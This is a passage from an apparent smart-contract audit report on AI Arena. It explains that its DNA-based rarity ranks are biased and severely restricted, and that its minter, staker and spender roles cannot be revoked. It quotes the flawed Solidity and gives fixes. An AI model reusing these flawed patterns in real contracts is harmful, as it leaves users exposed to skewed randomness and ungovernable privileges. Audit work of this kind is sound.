https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/6

Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.

Medium Risk Findings (9)

[M-01] Almost all rarity rank combinations cannot be, and are not uniformly, generated

Submitted by d3e4, also found by niser93 and fnanni

Only a tiny fraction, 0.0002427%, of all rarity rank combinations are possible. The probability distribution of the possible combinations (assuming the DNA is uniformly random) is not uniform: 24% of combinations are twice as likely as the rest.

Proof of Concept

AiArenaHelper.createPhysicalAttributes() may set six finalAttributeProbabilityIndexes using the following calculation.

uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);
finalAttributeProbabilityIndexes[i] = attributeIndex;

attributeToDnaDivisor is by default [2, 3, 5, 7, 11, 13]. Each rarityRank by itself is in the range 0..99, and ostensibly the total number of combinations of the six rarityRanks should then be 100^6. However, only 2,427,000 different combinations are possible, which is only 0.0002427% of all combinations that should be possible.

As a function of dna the vector of the six rarityRanks repeats every 3,003,000 integers (=2 • 3 • 5 • 7 • 11 • 13 • 100). But it turns out that 576,000 of these appear twice. For example, a dna of 0 or 1 yield the same combination of rarityRanks ([0,0,0,0,0,0]), as do 16 and 17 ([8,5,3,2,1,1]), and 22 and 23 ([11,7,4,3,2,1]), etc. That is, about 24% of the combinations are twice as likely as the rest.

The rarityRanks are input to dnaToIndex() which then will also be biased and restricted in output (depending on the attribute probabilities).

Recommended Mitigation Steps

Extract multiple small random numbers by repeatedly taking the modulo and dividing. I.e.

- uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
+ uint256 rarityRank = dna % 100;
+ dna /= 100;

hickuphh3 (judge) commented:

Agree that rarityRank determination isn’t uniformly random.

[M-02] Minter / Staker / Spender roles can never be revoked

Submitted by nuthan2x, also found by 0xvj, klau5, McToady, btk, juancito, merlinboii, alexxander, sandy, favelanky, josephdara, MidgarAudits (1, 2), _eperezok, SovaSlava, lil_eth, kutugu, zaevlad, jesjupyter, shaflow2, pynschon, SpicyMeatball, 0xE1, PetarTolev, c0pp3rscr3w3r, 0xblackskull, Greed, 0xgrbr, Sabit (1, 2, 3), Tychai0s, and Timenov

From Neuron::addMinter and AccessControl::setupRole

    function addMinter(address newMinterAddress) external {
        require(msg.sender == _ownerAddress);
        _setupRole(MINTER_ROLE, newMinterAddress);
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

• Roles of minter, staker, spender can never be revoked due to missing default admin implementation. The DEFAULT_ADMIN_ROLE = 0x00 which is default role which is admin to all the roles, and the real contract owner should own this role, since it is not granted, the owner cannot govern the roles.
• Another wrong implemnatation is using _setupRole to grant roles intead of using _grantRole, because of the warnings in the library contract.

From Openzeppelin::AccessControl and AccessControl::setupRole

* [WARNING]
    * ====
    * This function should only be called from the constructor when setting
    * up the initial roles for the system.
    *
    * Using this function in any other way is effectively circumventing the admin
    * system imposed by {AccessControl}.
    * ====
    *
    * NOTE: This function is deprecated in favor of {_grantRole}.
    */
    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    * Roles can be granted and revoked dynamically via the {grantRole} and
    * {revokeRole} functions. Each role has an associated admin role, and only
    * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
    *
    * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
    * that only accounts with this role will be able to grant or revoke other
    * roles. More complex role relationships can be created by using
    * {_setRoleAdmin}.
    *
    * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
    * grant and revoke this role. Extra precautions should be taken to secure
    * accounts that have been granted it.
    */